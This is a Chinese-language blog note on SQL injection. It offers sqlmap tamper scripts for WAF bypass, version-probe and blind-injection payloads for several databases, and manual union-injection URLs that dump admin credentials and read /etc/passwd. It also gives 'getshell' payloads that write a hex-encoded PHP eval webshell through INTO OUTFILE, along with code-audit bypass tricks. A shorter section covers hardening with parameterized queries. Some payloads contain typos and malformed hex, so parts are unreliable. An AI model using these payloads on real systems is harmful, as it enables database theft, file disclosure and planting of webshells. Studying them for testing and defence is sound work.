SQL 注入关联分析
《SQL 注入关联分析》-web 安全-sm0nk
阅读笔记
0x00 序
关联分析,即从一个数据集中发现项之间的隐藏关系。
本文结构如下:
SQL 注入科普
一句话:通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。
影响:数据库增删改查、后台登录、getshell
修复:
- 使用参数检查的方式,拦截带有 SQL 语法的参数传入应用程序
- 使用预编译的处理方式处理拼接了用户参数的 SQL 语句
- 在参数即将进入数据库执行之前,对 SQL 语句的语义进行完整性检查,确认语义没有发生变化
- 在出现 SQL 注入漏洞时,要在出现问题的参数拼接进 SQL 语句前进行过滤或者校验,不要依赖程序最开始处防护代码
- 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的 SQL 语句执行
注入分类
- 按照数据包方式分类
- Get post cookie auth
- 按照呈现形式
- 回显型注入
- Int string search
- 盲注
- Error bool time
- 另类注入
- 宽字节注入
- http header 注入
- 伪静态
- Base64 变形
- 回显型注入
- 按照数据包方式分类
0x02 神器解读
Tamper 概览
脚本名称 | 作用 |
---|---|
apostrophemask.py | 用 utf8 代替引号 |
equaltolike.py | like 代替等号 |
space2dash.py | 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
greatest.py | 绕过过滤’>’ ,用 GREATEST 替换大于号。 |
space2hash.py | 空格替换为#号 随机字符串 以及换行符 |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 |
halfversionedmorekeywords.py | 当数据库为 mysql 时绕过防火墙,每个关键字之前添加 mysql 版本评论 |
space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 |
appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 |
ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ |
space2mssqlblank.py | 空格替换为其它空符号 |
base64encode.py | 用 base64 编码替换 |
space2mssqlhash.py | 替换空格 |
modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 |
space2mysqlblank.py | 空格替换其它空白符号(mysql) |
between.py | 用 between 替换大于号(>) |
space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) |
multiplespaces.py | 围绕 SQL 关键字添加多个空格 |
space2plus.py | 用+替换空格 |
bluecoat.py | 代替空格字符后与一个有效的随机空白字符的 SQL 语句。 然后替换=为 like |
nonrecursivereplacement.py | 取代 predefined SQL 关键字 with 表示 suitable for 替代(例如 .replace(“SELECT”、””)) filters |
space2randomblank.py | 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 |
sp_password.py | 追加 sp_password’从 DBMS 日志的自动模糊处理的有效载荷的末尾 |
chardoubleencode.py | 双 url 编码(不处理以编码的) |
unionalltounion.py | 替换 UNION ALL SELECT UNION SELECT |
charencode.py | url 编码 |
randomcase.py | 随机大小写 |
unmagicquotes.py | 宽字符绕过 GPC addslashes |
randomcomments.py | 用/**/分割 sql 关键字 |
charunicodeencode.py | 字符串 unicode 编码 |
securesphere.py | 追加特制的字符串 |
versionedmorekeywords.py | 注释绕过 |
space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
0x03 数据库特性
Web 报错关键字
- Microsoft OLE DB Provider
- ORA-
- PLS-
- Error in your SQL Syntax
- SQL Error
- Incorrect Syntax near
- Failed Mysql
- Unclosed Quotation Mark
- JDBC/ODBC Driver
版本查询
Mysql:
/?param=1 select count(*) from information_schema.tables group by**concat(version(),floor(rand(0)*2))
MSSQL:
/?param=1 and(1)=convert(int,@@version)--
Sybase:
/?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0:
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
PostgreSQL:
/?param=1 and(1)=cast(version() as numeric)--
SQL 方言差异
DB | 连接符 | 行注释 | 唯一的默认表变量和函数 |
---|---|---|---|
MSSQL | %2B(URL+号编码)(e.g. ?category=sho’%2b’es) | -- |
@@PACK_RECEIVED |
MYSQL | %20 (URL 空格编码) | # |
CONNECTION_ID() |
Oracle | ll | -- |
-- |
PGsql | ll | -- |
getpgusername() |
Access | “a” & “b” | N/A | msysobjects |
SQL 常用语句
内容 | MSSQL | MYSQL | ORACLE |
---|---|---|---|
查看版本 | select @@version | select @@version select version() | Select banner from v$version; |
当前用户 | select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; | select user(); select system_user(); | Select user from dual |
列出用户 | select name from master..syslogins; | select user from mysql.user; | Select username from all_users ORDER BY username; Select username from all_users; |
当前库 | select DB_NAME(); | select database(); | Select global_name from global_name; |
列出数据库 | select name from master..sysdatabases; | select schema_name from information_schema.schemata; | Select ower,table_name from all_users; #列出表明 |
当前用户权限 | select is_srvolemenber(‘sysadmin’); | select grantee, privilege_type,is_grantable from information schema.user privileges; | Select * from user role_privs; Select * from user_sys_privs; |
服务器主机名 | select @@servername; | / | Select sys_context(‘USERENV’,’HOST’) from dual; |
盲注函数
数据 | MSSQL | Mysql | oracle |
---|---|---|---|
字符串长度 | LEN() | LENGTH() | LENGTH() |
从给定字符串中提取子串 | SUBSTRING(string,offset,length) | SELECT SUBSTR(string,offset,length) | SELECT SUBSTR(string,offset,length) From dual |
字符串(‘ABC’)不带单引号的表示方式 | SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) | Select char(65,66,67) | Select chr(65)llchr(66)+chr(67) from dual |
触发延时 | WAITFOR DELAY ‘0:0:9’ | BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) | BEGIN DBMS_LOCK.SLEEP(5);END; --(仅 PL/SQL 注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST() |
IF 语句 | If (1=1) select ‘A’ else select ‘B’ | SELECT if(1=1,’A’,’B’) | / |
PS:SQLMAP 针对 Oracle 注入时,使用了比较费解的 SUBSTRC,好多时候得中转更改为 SUBSTR.
0x04 手工注入
应用场景
- 快速验证(概念性证明)
- 工具跑不出来了
- 的确是注入,但不出数据
- 特征不规律,挖掘规律,定制脚本
- 绕过过滤
- 有 WAF,手工注入
- 有过滤,搞绕过
- 盲注类
常用语句
判定注入 => 基础信息 => 可显字段 => 爆库 => 爆表 => 爆内容
Oracle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17oder by N
# 爆出第一个数据库名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为 first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表 tablename 中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual
若为基于时间或者基于 bool 类型盲注,可结合 substr 、ASCII 进行赋值盲测。
若屏蔽关键函数,可尝试 SYS_CONTEXT('USERENV','CURRENT_USER')类用法。Mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#正常语句
192.168.192.128/sqltest/news.php?id=1
#判断存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#确定字段数 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#测试回显字段
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#测试字段内容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查询当前库下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查询 admin 表下的字段名(16 进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查询 admin 表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#读取系统文件(/etc/passwd,需转换为 16 进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#文件写入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS:若权限不足,换个目录Mssql
1
2
3
4
5
6
7
8
9
10
11
12PS:回显型请查阅参考资料的链接,这里主要盲注的语法。
#爆数据库版本(可先测长度)
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
#爆当前数据库名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆 user 表内字段
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆数据
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0
PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇
0x05 漏洞挖掘
黑盒测试
套装组合
AWVS 类 + sqlmap (手工)
Burp + sqlmapAPI(手工)
减少体力活的工程化
代码审计
白盒的方式有两种流,一种是检查所有输入,另一种是根据危险函数反向
概要
- _SERVER 未转义
- 更新时未重构更新序列
- 使用了一个未定义的常量
- PHP 自编标签与 strip_tags 顺序逻辑绕过
- 可控变量进入双引号
- 宽字节转编码过程
- mysql 多表查询绕过
- 别名 as+反引号可闭合其后语句
- mysql 的类型强制转换
- 过滤条件是否有 if 判断进入
- 全局过滤存在白名单
- 字符串截断函数获取定长数据
- 括号包裹绕过
- 弱类型验证机制
- WAF 或者过滤了 and|or 的情况可以使用&&与||进行盲注。
- windows 下 php 中访问文件名使用”<” “>”将会被替换成”*” “?”
- 二次 urldecode 注入
- 逻辑引用二次注入
1. $_SERVER[‘PHP_SELF’]和 $_SERVER[‘QUERY_STRING’]
,而 $_SERVER 并没有转义,造成了注入。
2. update
更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)
3. 在 php 中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 “CONSTANT”)。
此时将发出一个 E_NOTICE 级的错误
(参考http://php.net/manual/zh/language.constants.syntax.php)
4. PHP 中自编写对标签的过滤或关键字过滤,应放在 strip_tags 等去除函数之后,否则引起过滤绕过。
1 |
|
5. 当可控变量进入双引号中时可形成 webshell 因此代码执行使用,${file_put_contents($_GET[f],$_GET[p])}
可以生成 webshell。
6. 宽字节转编码过程中出现宽字节注入
PHP 连接 MySQL 时设置 set character_set_client=gbk
,MySQL 服务器对查询语句进行 GBK 转码导致反斜杠 \
被 %df
吃掉。
7. 构造查询语句时无法删除目标表中不存在字段时可使用 mysql 多表查询绕过
1 |
|
8. mysql 中(反引号)能作为注释符,且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名 as+反引号可闭合其后语句。
9. mysql 的类型强制转换可绕过 PHP 中 empty()函数对 0 的 false 返回
1 |
|
但是 mysql 中提交其 0axxx 到数字型时强制转换成数字 0
10. 存在全局过滤时观察过滤条件是否有 if 判断进入,cms 可能存在自定义 safekey 不启用全局过滤。通过程序遗留或者原有界面输出 safekey 导致绕过。
1 |
|
11. 由于全局过滤存在白名单限定功能,可使用无用参数带入绕过。
1 |
|
请求中包含了白名单参数所以放行。
1 |
|
12. 字符串截断函数获取定长数据,截取 \\
或 \’
前一位,闭合语句。
利用条件必须是存在两个可控参数,前闭合,后注入。
13. 过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到 select from(关键字空格判断的正则,且剔除/**/等)可使用括号包裹查询字段绕过。
14. 由于 PHP 弱类型验证机制,导致 ==
、in_array()
等可通过强制转换绕过验证。
15. WAF 或者过滤了 and|or 的情况可以使用&&与||进行盲注。
1 |
|
16. windows 下 php 中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表 N 个任意字符与 1 个任意字符。
1 |
|
可使用 test.php?a=../a<%00
访问对应 php 文件。
17. 使用了 urldecode 或者 rawurldecode 函数,则会导致二次解码声场单引号而发生注入。
1 |
|
18. 逻辑引用,导致二次注入
部分盲点
盲点如下:
- 注入点类似 id=1 这种整型的参数就会完全无视 GPC 的过滤;
- 注入点包含键值对的,那么这里只检测了 value,对 key 的过滤就没有防护;
- 有时候全局的过滤只过滤掉 GET、POST 和 COOKIE,但是没过滤 SERVER。
附常见的 SERVER 变量(具体含义自行百度):
1 |
|
PS:若对注入的代码审计有实际操类演练,参考[email protected]
0x06 安全加固
源码加固
1. 预编译处理
参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在 SQL 语句中,这些参数通常一占位符来表示。
MSSQL(ASP.NET)
为了提高 sql 执行速度,请为 SqlParameter 参数加上 SqlDbType 和 size 属性
1 |
|
PHP
1 |
|
JAVA
1 |
|
PS:尽管 SQL 语句大体相似,但是在不同数据库的特点,可能参数化 SQL 语句不同,例如在 Access 中参数化 SQL 语句是在参数直接以“?”作为参数名,在 SQL Server 中是参数有“@”前缀,在 MySQL 中是参数有“?”前缀,在 Oracle 中参数以“:”为前缀。
2.过滤函数的使用
- addslashes()
- mysql_escape_string()
- mysql_real_escape_string()
- intval()
3.框架及第三方过滤函数与类
- JAVA hibernate 框架
- Others
产品加固
- Web 应用防火墙——WAF
- Key: 云 waf、安全狗、云锁、sqlchop
0x07 关联应用
Getshell
注入,查数据,找管理员密码,进后台,找上传,看返回,getshell
PHP MYSQL 类,大权限,知路径,传文件,回 shell(上传&命令执行),OS-SHELL。
MSSQL 大权限,知路径,传文件,回 shell。结合 xp_cmdshell 执行系统命令。
Phpmyadmin getshell (编码)
select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
Union select getshell
and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--
关联功能点
序号 | 功能点 | 参数 |
---|---|---|
1 | 登录 | Username password |
2 | Header | Cookie Referer x-forward remote-ip |
3 | 查询展示 , 数据写入(表单) , 数据更新 | id u category price str value |
4 | 数据搜素 | Key |
5 | 伪静态 | (同 3),加* |
6 | Mysql 不安全配置 , Set character_set_client=gbk |
%df%27 |
7 | 传参(横向数据流向、纵向入库流向) | Parameter (同 3) |
8 | 订单类多级交互、重新编辑 , 配送地址、资料编辑 | 二次注入 |
9 | APP 仍调用 WEB API | 同 3 |
10 | 编码 urldecode base64 | Urldecode() rawurldecode() |
补缺补漏
伪静态
静态网页就是,比如知乎网站上放了一个 abc.html 文件,你想访问它就直接输入 zhihu. com/abc.html。Web 服务器看到这样的地址就直接找到这个文件输出给客户端。
动态网页就是,假如你想做一个显示当前时间的页面,那么就可以写个 PHP 文件,然后访问 zhihu. com/abc.php。Web 服务器看到这样的地址,找到 abc.php 这个文件,会交给 PHP 执行后返回给客户端。而动态网页往往要输入参数,所以地址就变成 zhihu. com/abc.php?a=1&b=2。
搜索引擎比较烦这种带问号的动态网页,因为参数可以随便加,而返回内容却不变,所以会对这种网页降权。
于是有了 mod_rewrite,它可以重新映射地址。比如当前这个页面的地址 htt p://www.zhihu. com/question/20153311,Web 服务器收到请求后会重新映射为 www.zhihu. com/question.php?n=20153311,然后再执行那个 PHP 程序。(以上网址均为假设)这样,在内部不改变的情况下,对外呈现出来的网址变成了没有问号的象静态网页的网址一样。
Base64 变形
搜素引擎关键词:
inurl:php?aWQ9
sqlmap 如何跑 base64 加密了的注入点
这里的 base64 不仅是值为 base64,参数的名字都一起 base64 了。
将以下 demo 保存为 sqlmap.php
1
2
3
4<?php
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
?>sqlmap.py -u "http://localhost/sqlmap.php?id=12" -v3 --dbs
若是仅有参数值进行了 base64,那么用 sqlmap 即可:
sqlmap -u http://xxxx.com/index.php?tel=ltenig9yicc4occ9jzg5 --tamper base64encode.py – dbs
白盒审计
- PHP $_SERVER[’PHP_SELF’]
如:index.php?str=1234 PHP_SELF 是 index.php。使用不但会造成 xss 与 sqli:
1
<form action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="submit" name="submit" value="submit" /> </form>
1
http://127.0.0.1/test.php/%22%3E%20%3Cscript%3Ealert('xss')%3C/script%3E
$_SERVER[‘QUERY_STRING’]
1
$_SERVER[’REQUEST_URI’]会原封不动的反映网址本身,网址中如果有%3C,那么你得到的也将会是%3C,而$ _SERVER[’PHP_SELF’]会对网址进行一次urldecode操作,网址中的%3C将会变成字符“<”,所以就产生了漏洞。
未定义常量
if(IN_ADMIN != TRUE)
等式不成立,非 0
、null
都为 true
1
2
3
4
5
6
7<?php
if(IN_ADMIN == TRUE)
{
echo "string";
}
?>
//输出 string
- PHP 中自编写对标签的过滤
PHP 中自编写对标签的过滤或关键字过滤,应放在 strip_tags 等去除函数之后,否则引起过滤绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
function checkSQLi($string)
{
if(strpos("select", $string)){return 1;}
}
function mystrip_tags($string)
{
if(checkSQLi($string)){
echo "caught by waf!";
return 0;
}
$string = strip_tags($string);//checkSQLi()在 strip_tags 之前调用,所以很明显可以利用 strip_tags 函数绕过,在关键字中插入 html 标记.
return $string;
}
echo mystrip_tags($_GET['id'])."<br>\n";
?>
?id=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING( PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT%201)=101, 1=S<a>LEEP(2.02),0)%23
当可控变量进入双引号中时可形成 webshell
mysql 多表查询
select user from mysql.user;
- Mysql ` 作为注释
在某些情况下,mysql 会自动闭合没有闭合的
1
`
符合号,导致注入的 ` 后面都作为一个别名:
1
select 'username','password' from pre_common_statuser as ` as statistic from common_stat where uid=1
as statistic from common_stat where uid=1
即为 pre_common_statuser 的别名
1
SELECT 1 as `as`;
- mysql 的类型强制转换
1
例如:提交/?test=0axxx -> empty($_GET['test']) => 返回真
但是 mysql 中提交其 0axxx 到数字型时强制转换成数字 0
全局的过滤只过滤掉 GET、POST 和 COOKIE,但是没过滤 SERVER。
附常见的 SERVER 变量(具体含义自行百度):1
2
3
4
5HTTP_X_FORWARDED_FOR:浏览当前页面的用户计算机的 ip 地址
HTTP_CLIENT_IP:客户端的 ip
HTTP_HOST:获取当前域名
HTTP_USER_AGENT:浏览器类型
HTTP_ACCEPT_LANGUAGE:浏览器语言1
2
3
4在 PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP 地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。
不过要注意的事,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实 IP,有些用此方法读取到的仍然是代理服务器的 IP。
还有一点需要注意的是:如果客户端没有通过代理服务器来访问,那么用 $_SERVER["HTTP_X_FORWARDED_FOR"] 取到的值将是空的。1
所以,在实际程序中,应尽量使用_SERVER["HTTP_HOST"] ,比较保险和可靠。
来呀快活呀